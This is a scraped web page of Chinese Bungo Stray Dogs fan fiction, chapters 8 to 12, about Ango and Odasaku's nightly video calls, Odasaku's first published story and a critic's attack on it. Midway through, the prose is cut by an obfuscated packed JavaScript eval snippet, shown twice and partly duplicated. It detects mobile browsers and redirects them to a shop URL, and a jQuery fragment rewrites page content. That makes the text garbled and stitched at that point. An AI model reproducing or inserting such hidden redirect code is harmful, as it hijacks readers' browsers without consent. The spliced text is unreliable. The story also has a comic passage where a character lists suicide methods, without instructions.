“不用在意,我自己的作息时间也规律了不少。”坂口安吾推一推眼镜,桌子上依旧是堆成山的资料文件:“那我们这就开始吧。” 今天的计划表和昨天比起来大同小异,但是在视频会议的三个人却都没有感到厌烦,太宰治小朋友在两位靠谱成年人的引导下乖乖地吃完了晚餐,甚至还心血来潮地跟着织田作老师做了饭后的健身操。 问题出现在十点钟的时候,感觉自己精力旺盛的太宰治小朋友不想要乖乖睡觉了。 “我昨天晚上就落下了好多的工作没有处理,而且昨天我那一觉睡得挺饱的,每天都要睡觉又浪费时间又麻烦……要不我还是……”他打算等到会议室关闭就继续工作。 但是今天唯一的变数出现了。 “安吾,昨天你的睡前故事很有效果。但是我想了一下,不能总是让你给我讲故事。”织田作之助头上的呆毛愉快地晃动几下,从抽屉里拿出来一本笔记:“所以我今天也准备了睡前故事。” 本来还准备今天讲点解迷小故事引起太宰治兴趣的坂口安吾闻言脸上露出了意外的表情:“这真让我意外……是童话故事吗?” 织田作之助点点头:“但是考虑到普通的童话故事你肯定都听过,所以这本童话故事是我自己编的,本来是用来哄美咲他们睡觉用的,但是我觉得现在这种情况也非常适用。” 太宰治:…… 织,织田作写的睡前故事吗?那不得不听了。 坂口安吾:…… 那挺好的,这下太宰君不得不听了。 果然让织田作先生加入进来是正确的决定,他还真是各种意义上的对宰宝具啊! “那真是太好了,织田先生,我还挺想听一听你编的故事的。”坂口安吾非常痛快地答应下来,于是视频里的两个人去洗漱去了,太宰治也赶紧往浴室跑去,生怕晚了一会织田作的故事他听不到开头。 于是,会议室里的三个人还是在十点十五的时候准时地躺在了床上,关掉视频的会议室里,织田作之助那熟悉又令人安心的声音传了出来: “很久很久以前,有一个以做辣咖喱闻名的国度,那里有一片长满各种辛香料的农田,有一位英勇的骑士负责守护那里。忽然有一天……” 太宰和安吾本来是想听完整个童话故事的,但是不知道是不是织田作之助声音实在太催眠了的原因,在故事中段他们两个就迷迷糊糊地睡了过去。 在梦里他们和织田作超人一起冒险,英勇的骑士们打败了命运的诅咒和邪恶的恶龙,他们成为了朋友,然后在辣咖喱国度永远幸福快乐地生活在一起。 作者有话说 显示所有文的作话 第8章 第 8 章 第9章 第 9 章 养成习惯之后坂口安吾和织田作之助几乎每天都会视频会议互相监督作息,休息日的时候基本上是在下午,工作日的时候基本是在晚上,就连下班喝酒的频率都变低了,反而休息时间隔着屏幕聊聊天说说话成为了常态。 连带着太宰治的生活作息也健康了很多,最起码现在他每天至少能吃上一顿晚饭,而且晚上十点左右还会准时睡觉。 日子就这样慢悠悠的过,终于在半个月后的某一天,织田作之助在晚饭时间隔着屏幕宣布了一个好消息:他的第一篇小说终于写完了。 “咳咳咳!咳咳……织田先生,这么重要的好消息你倒是早点说啊!”坂口安吾直接被惊的呛咳了几声:“我们应该好好庆祝一下的,明天我请你喝酒吧!” “织田作的小说写完了?”太宰治更是直接扔下手里的筷子站起来:“对啊,这可是超级无敌的大好事!一定要好好庆祝才行!就像安吾说的,我们应该不醉不归!明天去lupin……” 说到这里,太宰治本来开心的神情猛地一顿,接着就像被人打了一棒子一样表情变得空白,他默默地坐回去,双手紧握成拳。 哪里有什么lupin啊?织田作和安吾又为什么要和我这个陌生人喝酒庆祝? 说到底,这段友情从一开始就没有我的存在不是吗?是因为这段时间他们的视频会议让我偷到了一段开心的时光,以至于我都快忘了,这个会议室里从始至终就只有他们两个人。 但是没关系,这一切都是值得的。太宰治闭上眼睛在心里安慰自己。 织田作活下来了,而且还实现了写小说的理想。哪怕他不认识我也没关系,我还有机会在离开前看到他写的小说。 屏幕里,他们两个的话题已经进展到投稿和出版了,坂口安吾期待地推一推眼镜:“织田先生,那你想好要去哪里投稿了吗?报纸还是杂志?我这里还有几个总编的联系方式,要不我帮你联系一下?” 面对好友热情的帮助,织田作之助却并没有接受,他有点苦恼地摇摇头,单手支着额头沉默片刻,才终于开口: “没想好。事实上,我还在犹豫要不要接着写下去。” 坂口安吾看出来了,织田作之助其实对于自己没太有自信。 “是担心被拒稿吗?”他顺势问了出来并且认真地给出承诺:“虽然对于新手作家来说这是常有的事,不过我相信织田先生的作品终究是不会被埋没的。” 毕竟你是那样一个虔诚对待写作的人,认真地珍爱着自己笔下的每一个人物。 太宰治更是给出了极高评价:“织田作的小说肯定是最优秀的,要是你都不行的话,那这个世界上就没有人可以了!” 面对好友全然的信任和真诚的鼓励,织田作之助终于从苦恼中短暂地挣脱出来,他说出了自己的担忧: “我越是写作越是发现将脑海里的内容表达出来是极其困难的,甚至经常会出现表达与初衷背道而驰的情况。 我没有将想法映射到现实世界中所必须的工具和技术。觉得自己像是只拿一根小冰杖,在世界最高峰前无所适从的登山者一样。*” “我明白了,织田先生觉得自己目前还欠缺写作技巧。”坂口安吾认真地点点头表示自己理解这种困境,然后他给出建议: “但是经验和技巧都是需要实战才能磨练出来的东西,而想要攀上高峰就更要从底层开始爬起。 所以织田先生,你可以试着创造出更多作品,并且根据读者的反馈不断精进自己的技艺。所以,你更应该把作品刊登出去了,毕竟只是闭门造车的话你距离高峰只会越来越远。” 织田作之助不得不承认安吾的分析很有道理,但是他就是没有底气:“真的能行吗?总感觉就算去投稿了也很难收到什么反馈……” 那你真是想多了,织田作先生,毕竟太宰君还在那眼巴巴等着呢,保守估计你至少可以收获一个狂热粉丝。想到这里坂口安吾忍不住面露笑意: “怎么会没有反馈?如果你不介意的话,我可以当你的第一个读者吗,织田先生?” 只能潜水的太宰治:…… 可,可恶!我也好想当织田作的第一个读者! 狡猾!安吾实在是太狡猾了! 这边太宰治已经酸的快要恰柠檬了,偏偏屏幕里坂口安吾还笑的一脸真诚: “我还可以担任织田先生的编辑和审核,我们共同努力一起修改你的第一篇小说吧?然后等到织田先生有足够自信的时候,我们再把这篇作品投出去,你觉得如何?” 面对友人如此耐心又诚挚的鼓励,哪怕是织田作之助的脸上也有些许动容,他终于鼓足勇气答应下来:“好,明天晚上喝酒的时候我会带上书稿的。” 坂口安吾满脸笑意:“那就约好了,我们不见不散。” 酸得冒泡的太宰治:…… 可恶!为什么不能直接刊登出来?我也好想看啊!我也好想看织田作的小说! 安吾太过分了,他这是以情谋私!仗着是朋友就这么为所欲为,其实就是他自己想看而已吧! 太宰治充满怨念地戳着手机里坂口安吾的脸,就好像能戳到他本人身上似的,因为这件事他甚至连后续的工作都无心完成了,直到被睡前故事哄睡之前心里还是怨气满满。 晚上十点半,读完金融报道的坂口安吾关掉视频会议之后,世界意识才忽然出声:“我还以为你会引导织田作之助在会议室里讨论他的小说,这次你为什么又故意把太宰治排除在外了?” “因为和那些日常的闲谈不同,文学创作是很私密的东西。在没获得织田作先生本人的同意之前就颤自泄露给其他人实在是太冒犯了,哪怕对象是太宰君也一样。”坂口安吾合上电脑之后也躺进被窝里,摘下眼镜轻轻放在床头: “更何况怎么能让太宰君这样一直隐藏下去?不刺激他一下的话以他的性格怕不是就要一直躲在后台直到计划完成了吧?” 然后还会在临死之前去找织田作先生告别,万一再因为激动说出什么只有在会议室里才知道的事情……以织田作先生的性格他绝对会生气的,到时候太宰君又要绝望了。 “我们的目标是让太宰君获得活下去的动力和勇气,而不是偷偷地给他进行临终关怀。所以他一定要和织田作先生成为好朋友才行,这次的小说就是很好的契机。”坂口安吾在被窝里翻了个身,语气因为困意袭来变得断断续续: “要是太宰君对于小说的渴望能让他勇敢地迈出第一步就好了,毕竟我总会离开的……到时候织田作先生和太宰君两个人……” 他后面的话变得模糊不清,散在黑暗里化作一声微弱的叹息。 而坂口安吾所料不差,织田作的小说的确给了太宰治不小的刺激。 他因为记挂着小说甚至已经无心工作了。 “可恶!我也好想看原稿啊……看织田作的样子他肯定会修改很久才会鼓起勇气投稿吧,但是我真的有点等不及了……”太宰治趴在桌子上把手里的文件折来折去,最后折成一只纸飞机飞出去:“我现在就好想看到!” 正好这时候门开了,完成任务回来复命的中岛敦走进来:“首领,我根据您的吩咐……” 一支纸飞机飘飘悠悠地飞到他面前,他下意识伸手接住打开一看,发现居然是一份关于宝石走私生意的商业合约。 他记得这份生意每年会给港口mafia带来至少七位数的利润,如此重要的文件居然就这么被折成纸飞机扔出来了吗? “哦,是敦君啊。”太宰治没骨头一样趴在桌子上,就连声音也软绵绵的:“我不行了,我现在完全没办法工作……我急需一个时间穿梭的方法……”说到这里他忽然直起身子,看着中岛敦的目光带着几分期待: “对了!不如这样,敦君你干脆一掌把我打晕过去吧?让我一下子昏迷个几个月再起来,这样我就不用一直等了!” 主世界里的中岛敦对于时不时就摸鱼搞抽象的太宰治已经习以为常了,但是黑手党的中岛敦却是第一次看见这个样子的首领,面对如此奇葩的请求他听得额头冷汗都出来了。 “首,首领,我,我我我,我从没有过伤害您的想法,您有有有什么吩咐我都……” 给孩子吓的,说都不会话了。 看到中岛敦马上就要跪到地上大表忠心的样子,太宰治失望地趴了回去:“唉,果然靠敦君下手还是太勉强了吗?要不我去入水?上吊?安眠药?哪种方法人能昏迷的久一点呢?” 中岛敦一脸无措地听着首领说出各种各样的自杀方案,过了半天才终于冷静下来:“首领,您刚才说等……请问您在等些什么?有什么我能帮忙的吗?” “我在等一本书……唉这种感觉敦君肯定是不会懂的了……”太宰治幽幽地叹一口气,右手支着脑袋看向中岛敦: “敦君,如果我让你抢劫一个圆眼镜的西装社畜你能办到吗?趁着他晚上回家的时候套上麻袋,然后……”把他公文包里的原稿拿回来给我。 终于说到了自己熟悉的领域,中岛敦痛快答应下来:“遵命!我会把他套上麻袋扔进海里喂鱼的!” “不行!别这样做!” 太宰治立刻站起来厉声反对,意识到这样的反应太过激了,他又若无其事地坐了回去:“算了,刚才的事别放在心上,敦君。 以后没有我的命令,绝对不要靠近那样的圆眼镜社畜,记住了吗?” 虽然他还是和刚才一样笑盈盈的,但是眼睛里却黑沉沉一片透不进丝毫光亮,熟悉,不,比以往更加沉重的压迫感扑面而来,中岛敦恭敬地低下头去:“遵命!” 等到终于汇报完工作,中岛敦出来的时候感觉自己浑身上下都快虚脱了,他接过秘书银小姐递过来的热茶,犹豫片刻还是开口了: “首领今天看着和以前不太一样,是发生了什么吗?” “哪里不一样?” “更,情绪更多了,比以前更慵懒,还喜怒无常……我也说不上,但是总感觉就是比以前更,更……”中岛敦开始皱着眉头苦想形容词。 “更鲜活了。”银小姐适时地接上这句话。 “对,就是这个感觉!”中岛敦立刻赞同了这个说法。 以前的首领整个人看着就暮气沉沉的,他就像一台不知疲倦的机器一样永远做出最正确理性的决定,终日待在一片漆黑的办公室里,中岛敦总觉得他自己也快要融化在那一片黑暗里了。 今天的首领就不同了,虽然总是说着一些可怕的话,但是给人的感觉反而更加活泼。 “虽然具体发生了什么我也无缘得知,但这是一件好事不是吗?”秘书银小姐唇角微微上扬。 于是中岛敦也微笑着点头:“对,能有这样的变化真是太好了。” 没朋友的首领宰:我已经是个死人了.jpg[裂开] 有朋友的首领宰:活人微死.jpg[墨镜] 提问,所以现在武侦宰的状态是……? 作者有话说 显示所有文的作话 第9章 第 9 章 10.第 10 章 第二天一下班,坂口安吾就早早地出现在了之前和织田作先生经常喝酒的酒馆,焦急地等待着织田作先生的到来。 毕竟这可是织田作先生的小说啊,如果不是这样的机缘巧合我这辈子都无缘得见,说不想看是假的,事实上他心里的期待一点也不比太宰君少。 如果能让太宰君鼓起勇气主动找过来就更好了,不过以他那个胆小鬼的性格……坂口安吾叹一口气,觉得自己还任重道远。 正想着他忽然听到熟悉的脚步声传来,抬头一看果然是织田作之助,他手里还捧着一个文件袋,虽然表情看上去和之前没太大差别,但是安吾能看出他其实有点紧张。 “一杯咖啡。”他走到安吾身边坐下:“安吾,你今天来的好早。” “我借着出外勤的借口先走了一会儿。”坂口安吾转过去和他打招呼:“织田先生,你今天怎么还是喝咖啡?” “因为想要改稿子的话就不能喝酒了。”织田作之助说着把手里的文件袋递过去:“只是一篇短篇小说,练手写的,有问题尽管提。” “我觉得不会差到哪里去的,织田先生。”坂口安吾笑着接过文件袋,把自己的酒杯推远之后才把里面的手稿拿出来:“以你看待事物的视角,哪怕只是平铺直叙地讲述出来我觉得也足够有趣了。” 然后坂口安吾就把目光投向手里的稿纸,很快就沉浸在故事之中不可自拔了。 这是一篇短篇小说,讲述的是一个从小在战乱之地成长起来的青年在混乱无序的城市里经营咖喱店的故事,明明是经历了很多人间悲剧的老板但是性格却意外地乐观善良,而故事主要就围绕着咖喱店里为数不多的几个乘客和老板的日常生活展开。 坂口安吾初看开头还以为这是一个善良青年在乱世挣扎求生的悲惨故事,但是读下来之后才发现故事的文风却非常阳光明快。 虽然有很多细想之下惨绝人寰的剧情都因为织田作先生过于天然的性格而描写成了轻描淡写的“地狱笑话”,但是不得不承认这种黑色幽默反而让整篇文章的笔触和思想都带上了织田作先生特有的风格。 就是属于那种初看感觉很搞笑温馨,细想之后又会被虐的喘不上气来的顶级文笔。 在反复品味了几遍之后,坂口安吾收好手里的手稿沉默了。 “怎么样?”织田作之助的呆毛紧张地绷直:“写的很差吗?” “织田先生。”坂口安吾终于开口了,表情是前所未有的认真:“现在几月份了?” 织田作之助不明所以:“三月。为什么忽然问这个?” “三月吗?那还来得及。”坂口安吾肯定地点点头,然后双手用力握住织田作之助的肩膀:“还有三个月时间,你去竞选今年的小说新人奖吧!” 织田作之助:? “凭你的水平一定可以入围的!然后就是打败其他作家,一举夺得……” “等一下,安吾。”织田作之助忍不住打断了好友的幻想:“这是不是太快了?甚至我连一篇小说都没发表过。” “马上就要发表了不是吗?织田先生,我觉得这篇小说已经非常优秀了,你可以对自己再自信一点。”坂口安吾推一推眼镜,语气非常笃定: “也许因为是新人的关系这篇小说可能不会有太多读者,但是每一个阅读过的人一定都能领略到它的魅力。” 能被第一个阅读的朋友如此肯定,织田作之助罕见地有点害羞和欣喜:“你能喜欢它我很高兴,安吾。谢谢你的鼓励,我会试着投稿的。” “我没有在鼓励你,织田先生。我说的都是千真万确的实话。”坂口安吾说着从公文包里拿出了一张写满字的纸:“既然决定要投稿了那就先确定好心仪的编辑社吧。 关于这一点我还是收集了很多情报的,比如这个《横滨文学月刊》,虽然是专门刊登文学作品的杂志,在业内地位也很高,但是其实文章的风格都更加偏向正统,和织田先生的文风恐怕不太契合。 除此之外还有喜欢刊登新人作品的《青年小说报》,这个我觉得倒是可以试试,就是这上面多是连载的中长篇小说……” 织田作之助于是也凑过去和坂口安吾一起挑选适合自己的杂志和报纸,在把横滨市面上所有的杂志和报纸看过一遍之后,织田作之助指着最下面的《森氏月报》开口:“这个怎么样?我有时候会买几本来看,上面的文章很合我的胃口。” 坂口安吾:…… “织田先生,《森氏月报》的发行商是港口森氏会社。” 坂口安吾以为他提示的已经够明显了,但是他显然忽略了一个问题,那就是这个世界的森鸥外只在任了两年,还没来得及做出什么成绩就被太宰给赶下台了,所以在太宰治这个现任首领都非常低调的情况下森鸥外这个前任首领的名号一般人更是听都没听说过。 所以织田作之助并没有get到他的暗示:“是私人企业发行的报纸吗?没关系,不在那些文学刊物上也可以,我的作品能被更多人看到我已经很满足了。” 坂口安吾开始低头思考,这份《森氏月报》的确是在横滨知名度比较高的报纸,销量一直以来也很不错,普通的民众也都会买来阅读,给它投稿的人一直也蛮多的。 武装侦探社又不像异能特务科管理的那么严格,往这上面投稿应该也没关系吧…… “好,既然织田先生已经决定了,那我们就投稿给《森氏月报》吧。”坂口安吾也点头赞同了对方的提议。 接下来的事情就比较简单了,坂口安吾自告奋勇地担任了编辑的工作,在把织田作之助的短篇小说整理成文档打印出来之后,他们两个一起去邮局把这份小说邮寄了出去。 “我都有一点紧张了。”站在邮局的大门口,织田作之助头上的呆毛焦虑地晃来晃去:“不知道第一次投稿能不能通过……” 而现在的坂口安吾显然是不方便联系太宰治给织田作之助走后门的,更何况以织田作之助的性格哪怕有这个机会他也不会想用,所以坂口安吾心里也没有底了: “没关系,织田先生。优秀的作品终究是不会被埋没的,哪怕这次不通过,多换几个地方总有人会欣赏你的作品。” 实在不行我就偷偷去联系几个主编,如此优秀的作品不刊发出去简直是日本文学界的损失!狂热粉丝一号坂口安吾如此想到。 辗转多年,如今自己成为小说家的理想终于迈出了第一步,这一切离不开自己身边这位朋友的鼓励和帮助,想到之前那张纸上列满的报纸杂志还有优缺点分析,织田作之助心里一阵暖流划过: “这都多亏了你,安吾。为了表达感谢,今天我请你吃咖喱饭吧。” “是你平常吃的那家吗?”坂口安吾心里不由产生了一丝好奇:“请务必让我尝尝,其实我好奇他家的味道好久了!” 在之前的世界里,身为卧底的坂口安吾一直谨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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坂口安吾把自己的眼镜扶正,听到这句话忍不住吐槽:“最能打的侦探?这个努力方向怎么听都不对劲吧!” 正说着,一直在后厨忙活的老板端着两份咖喱饭放在他们桌上,热情地和坂口安吾打招呼:“你就是织田的朋友?他最近能重新打起精神都多亏了你吧?这顿算我请你的,别客气,以后吃好了也多过来啊!” “多谢款待。”在礼貌地跟老板道谢之后,坂口安吾把目光投向桌子上热气腾腾的咖喱饭,实物比视频里还要鲜红,稍微靠近就有呛鼻的辣椒味窜进鼻腔。 “咳咳咳……”坂口安吾被呛的咳嗽了两声:“这真的不要紧吗织田先生?它闻起来还是挺辣的。” “我觉得不辣,而且味道真的很美味。”说着织田作之助舀了一勺自己面前的咖喱饭送进嘴里,接着头顶的呆毛就开始愉悦地摆动:“很好吃。” 于是坂口安吾也开始好奇了,他也舀起一勺咖喱学着织田作之助的样子放进嘴里。 “咳咳!咳咳咳!咳咳咳……水!我要水!咳咳咳……好辣……快给我水!” 一口下去涕泗横流,坂口安吾开始狼狈地搜寻任何能解辣的东西。 可恶!难怪以前织田作先生哪怕吃太宰的黑暗料理都能面不改色,原来我们之中的正常人居然只有我一个吗! 11.第 11 章 于是第二天,等到晚上视频会议直播间再开的时候,太宰治就看到了一只肿成香肠嘴的坂口安吾。 他几乎是瞬间就猜到发生了什么,立刻对着屏幕里的安吾拍桌大笑:“哈哈哈安吾,你终于也尝到那家店咖喱的威力了吗?当时你肯定被辣哭了吧?没能亲眼看到还真是遗憾!” 而坂口安吾也能猜到太宰治现在是什么德行,但是偏偏他还做不了什么,于是只能装作若无其事地看向织田作之助:“织田先生,你今天还要继续写作吗?” 毕竟才刚写完第一篇小说。 织田作之助摇摇头:“今天打算看一看专业的书籍和资料,下一篇就等看到这篇刊登之后的反响再动笔。” 听到这句话太宰治又惊又喜:“所以织田作的小说已经投稿了吗?投到哪里了?什么时候刊发?” 他的这个问题当然是没有答案的,于是太宰治只能继续期待又煎熬地等待着,在他把世面上所有的报纸杂志都浏览一遍无果之后,他开始怀疑是不是有哪个没有眼光的古板编辑把织田作的小说给毙掉了。 “可恶!怎么可以毙掉织田作的小说!他的作品不能发表绝对是日本文学界的损失!”狂热粉丝二号一拍桌子,心里开始盘算要怎么才能快速又不显眼地找几个橄榄枝递到织田作面前。 这可有点难办啊,毕竟还要骗过乱步先生和安吾,我得好好地筹划一下了,要不就干脆从东京那边…… 就在太宰治在脑海里认真计划着的时候,忽然门外响起了敲门声,这个时间点应该是秘书小银来送今日的文件,太宰治回过神来赶紧把桌上还放着视频会议的笔记本电脑合上收起来,然后才按下桌上的按钮把人放进来。 今日需要处理的文件一如既往的多,太宰治的目光随意地在叠成一摞的文件上扫过,忽然定格在最上面的一份报纸。 说起来……几天前是《森氏月报》的发行日,按照惯例他们的确会送过来一份报纸,只不过太宰治一般都懒得去看。 我记得这个月报里似乎也有一些小说在发表……想到这里,太宰治伸手拿过那本月刊随意翻了起来,然后摆摆手示意秘书小银放下文件就可以离开了。 虽然首领忽然对自家发行的月刊有了兴趣这件事有点反常,但是最近首领反常的事实在是太多了,所以银也并没有太过在意,行礼之后便转身出去了。 而太宰治则是在翻遍了整本月刊之后,终于在一个十分不起眼的版面发现了署名为织田作之助的文章。 他如饥似渴地阅读起来,就如同困在沙漠的旅人终于遇见了绿洲,织田作的小说果然就和他这个人一样,剧情总会在关键的地方给太宰治完全意料之外的展开,他就这样沉浸在明快又哀伤的故事情节里,透过眼前的一个个文字他似乎也和织田作有了一段共同的经历和人生。 在反复阅读了很多遍,文章的每一处细节都了如指掌之后,太宰治幸福地长叹一口气,捧着手里的报纸心满意足地躺倒在身后的椅子上不动了。 啊,我在有生之年居然真的读到了织田作的小说,这样一来我的人生就彻底没有遗憾…… “滴滴滴!滴滴滴!”就在他这么想着的时候,忽然桌上的闹铃又响了,这次不是太宰治给自己设定的休息时间,而是织田作和安吾约好的上线时间。 嗯,虽然没有和织田作还有安吾做成朋友,但是我读到了织田作的小说,还可以与织田作和安吾一起工作吃饭,我还见到了安吾超级搞笑的运动姿势,听过他们两个的睡前故事,这不是也挺好的吗?我肯定是所有世界里最幸运的太宰治了! 感觉自己宰生圆满的太宰心情很好地打开了笔记本电脑,在轻车熟路地黑进会议室之后,他就看到了一个垂着头郁郁寡欢的织田作之助和表情慌乱手足无措的坂口安吾。 太宰治:? 发生什么事了? 好在很快就有人解答了他的疑问,坂口安吾的嘴巴张开又闭上,最后还是努力装作语气轻松的样子开口了: “织田先生,其实能一次就过稿在新人作家之中实属罕见,你的天赋和水平都毋庸置疑! 外面那些风言风语完全不值得你在意,而且说实话吧,我觉得那位先生完全不是冲着你来的……” “谢谢你安慰我,安吾。”织田作之助的表情依然非常平静,除了头上的呆毛蔫哒哒的垂落下来之外看不出任何异常:“作品发表出去就是要被人评判的,我早就做好觉悟了。” “不,不要做好这么悲观的觉悟啊织田先生!我要跟你说的不是这个!”坂口安吾着急地站起来辩解: “我说的是真的!那位先生他真的不是冲着你来的!你只是无妄之灾而已,为了这种莫名其妙的事情难过真是太不值了!” 受益于坂口安吾那无比优秀的情报收集和汇总能力,太宰治很快就搞清楚了现在的状况,总结起来就是一句话: 新手作家织田作之助的处女作惨遭某知名文学评论家公开批评,以后的文学之路前途堪忧。 “那位评论家他只是一直和《森氏月报》的总编不对付而已,我收集了他社交媒体上过往一年的所有评论,光是针对《森氏月报》常驻作家的批评多达二十三次,对于一些小作者的抹黑和污蔑就更多了! 究其原因,其实是两年前《森氏月报》的主编毙掉了他的一个常驻栏目而已,所以像这样小肚鸡肠的评论家他的话完全没有采信的价值!” 说着坂口安吾还真的把自己调查到的账号发言展示给屏幕对面的织田作之助看,然后还指着下面的评论补充: “你看!根本就没有人把他的话当真,就连网友都习以为常了。所以织田先生不用担心,这件事情对于你以后的作家生涯绝对没有任何影响!” 其实还是有些许影响的,毕竟那位知名评论家在文学圈还有些人脉和拥趸,不过坂口安吾决定让他没有影响,那他就很难对织田作先生产生影响了。 虽然安吾并不是文学圈的,虽然他在政府的职位也并没有很高,但是搞情报的人脉比较广,而且……好吧,他还是种田长官的门生故吏,想要倾斜一点资源其实并不困难。 平时坂口安吾很少参与这些官场往来,也从来没有走关系给自己行过方便,但这只是他不愿意而已,并不代表他做不到。 要知道上个世界里太宰那“傲人”的履历档案也不是随便一个人来就能洗干净的,第七机关的小栗虫太郎只能消除罪证而已,把太宰做过的案件一件件收集起来,让那些证人们闭嘴,说服那些大人物们睁只眼闭只眼……
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16881136|191774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这些事全都是坂口安吾在从中斡旋,各中辛苦就不必多言了,反正相比之下织田作先生的事情不过举手之劳而已。 而此时的太宰也终于看清了那个评论家的社交账号,他打开手机搜索了一下,那个家伙的最新一条推文果然是在批评织田作的小说,骂得还挺狠的,说他的小说内容离经叛道,主角毫无亮点,从文章里读不出任何深刻的思想,并且觉得这根本就不能称之为文学。 很好,你已经死了。 太宰治冷笑一声,心里已经给这个不知好歹的家伙定下了死期。 但是他这样暗地里给织田作出头也于事无补,他本人的情绪依然非常低落。 “安吾,你不用忙活了,以后的文学发展之类的对于我来说其实并不重要。”织田作之助轻轻摆弄着手里的钢笔,低着头屏幕里看不清表情,只有传过来的声音带着淡淡的疑惑: “我只是在意一件事,我的小说真的好看吗?” “当然好看啊,在我读过的所有作品里你的作品是最优秀的!”坂口安吾不假思索地回答。 “虽然这样问可能有点奇怪。”织田作之助终于抬起头,蓝色的眼睛透过屏幕认真地和对面的坂口安吾对视着:“安吾会不会是因为认可我本人,所以才会认可我的小说?” 坂口安吾因为织田作之助的话愣了一下,这点异常并没有逃过织田作之助的眼睛,但他没说什么,只是又平静地低下头去: “当时我们第一次见面的时候,我是先看到了安吾的笔记,我很好奇能坚持做这种记录的到底是什么样的人,接触下来之后安吾果然非常优秀。 我很高兴能和你成为朋友,安吾。” “事到如今,怎么忽然说这个……”坂口安吾被夸的有一点不自在。 “现在回看,是安吾的文字把我们连接起来的。我先阅读了你的笔记,然后对你本人产生兴趣,也许这才是一个作家正常的发展路径吧。”织田作之助轻轻感叹一声,语气里的情绪却越来越虚无: “但是与之相对的,无论是安吾还是侦探社的同僚们似乎都是看在我本人的面子上对我的作品给出了不错的评价,当然我知道大家都是好意,但是正如那位评论家先生说的,这根本就不是作家,这样的文章也不能称之为文学啊。” 坂口安吾看着眼神虚无的织田作之助想安慰又不知道从何说起,嘴巴开合了几下,他终于找回了自己的思路:“我是真心地觉得织田先生的作品很优秀的,认可你和认可你的作品这两件事本来就不冲突吧……” “安吾,如果我们是陌生人你还会如此认可这篇小说吗?” “当然了,我是真的觉得这篇小说很优秀!无论作者是谁我的答案都是一样的!” 虽然坂口安吾据理力争,但是织田作之助看上去却似乎并不相信,他也没有再就这个问题继续讨论下去,只是认真地看向屏幕对面的好友: “抱歉,我先失陪了。谢谢你安慰我,安吾。” 然后织田作之助的屏幕就黑下去了,只留下一个百口莫辩的坂口安吾还在拼命解释:“我是说真的啊织田先生……” 后半句话随着织田作之助的下线卡在喉咙里,半天才喃喃自语地吐出后半句:“我是真的很喜欢你的小说……” 12.第 12 章 看着黑下去的屏幕,坂口安吾不太放心地在心里问世界意识先生:“织田作先生他还好吗?” “看着……有点消沉……”世界意识也跟着担心起来:“其实我觉得他一直以来对自己的作品都不太自信,如今遭受那样的批评,对他的打击应该还挺大的……” “我是真的很喜欢织田作先生的小说啊,他怎么就不相信我……”坂口安吾忧伤地叹一口气。 “这很难让人信服吧?感觉你是那种哪怕织田作之助说他想去外太空你都会想办法把他塞进国家航天队的人。他又不傻,当然能看出来。”世界意识忍不住吐槽。 “哪里需要硬塞啊?以织田作先生的身体素质和反应能力应聘宇航员根本绰绰有余,我觉得他只差一个报名的机会而已。” 世界意识:…… 所以你真的会想办法给他报名是吗? “你……唉,算了,我不想当吐槽役的吐槽役。”世界意识叹一口气放弃纠结这个问题:“所以眼下这种情况要怎么办?感觉织田作之助可能已经快要放弃他的写作之路了。” 他不写作太宰治活下去的动力就又少一个。 一提到这个问题,坂口安吾也觉得难办,他苦恼地摘下眼镜,捏着鼻梁发出一声沉重的叹息。 “唉……” 这可是织田作先生的大危机啊,太宰君,你到底还要躲到什么时候? 首领办公室里,看着会议室里两个人的争执,太宰治也忍不住握紧双拳,听到安吾头痛地叹息声,他心里也跟着沉甸甸的下坠。 明明织田作的小说那么优秀,但是却因为那些乱七八糟的事情遭受这种无妄之灾。 如今他已经对自己的小说丧失自信了,哪怕是安吾的鼓励也没办法让他振作起来,不如说这种时候他最需要的反而是陌生人的鼓励…… 陌生人的……鼓励吗…… 太宰治轻轻地摩挲着手里的报纸,长长的睫毛遮住眼睛里翻涌的情绪,他就那么一动不动地坐在办公桌前沉默了很久,久到似乎已经变成了一座僵硬地石雕。 “滴滴滴!滴滴滴!” 忽然一阵闹钟的声音打断了太宰治的出神,他抬头看去,这才发现原来坂口安吾一直没有关闭视频会议,他刚才似乎不知不觉趴在桌子上睡着了,一直到闹钟响起才把他吵醒。 他疲惫地戴上眼镜看了一眼电脑,对着黑下去的屏幕怔愣了片刻,然后才开始沉默地收拾桌上的东西,以往的闲聊和睡前故事都不见了,只有一个人的会议室安静得可怕,就像只有一个人的lupin一样,无论怎么等也等不来他想见的人。 等到把桌上那些努力收集到的评论家资料都收起来之后,坂口安吾对着漆黑的电脑屏幕犹豫了一下,还是没有退出视频会议,他把自己那些厚重的文件和资料都搬出来,开始在一个人的会议室里埋头工作。 织田作之助又不在,他也没有必要睡的那么早了。 太宰治看着屏幕里不知疲倦的安吾,终于握紧手里的报纸下定了决心。 不可以让织田作再继续消沉下去,也不可以让安吾又变回这样悲惨的社畜工作狂。 他推开门径直往电梯走去,把门外昏昏欲睡的安保和秘书吓了一跳,他们着急忙慌地要跟上去,却又被首领喝止在原地:“你们留下,我自己一个人出去。” “已经这么晚了,您要去哪里?”秘书小银担心又焦急地询问,心里已经在琢磨着要给中岛敦打个电话了。 太宰治的身影已经消失在电梯里,只有一句话隐约顺着即将关闭的电梯门传出来:“买信纸……” 我是不是听错了?这大半夜的买什么信纸啊?而且首领的办公桌上不就有特制的信笺吗? 秘书和安保面面相觑,都开始在心里怀疑刚才自己是不是产生了幻觉。 于是第二天一早,织田作之助就收到了从编辑部转寄的粉丝来信。 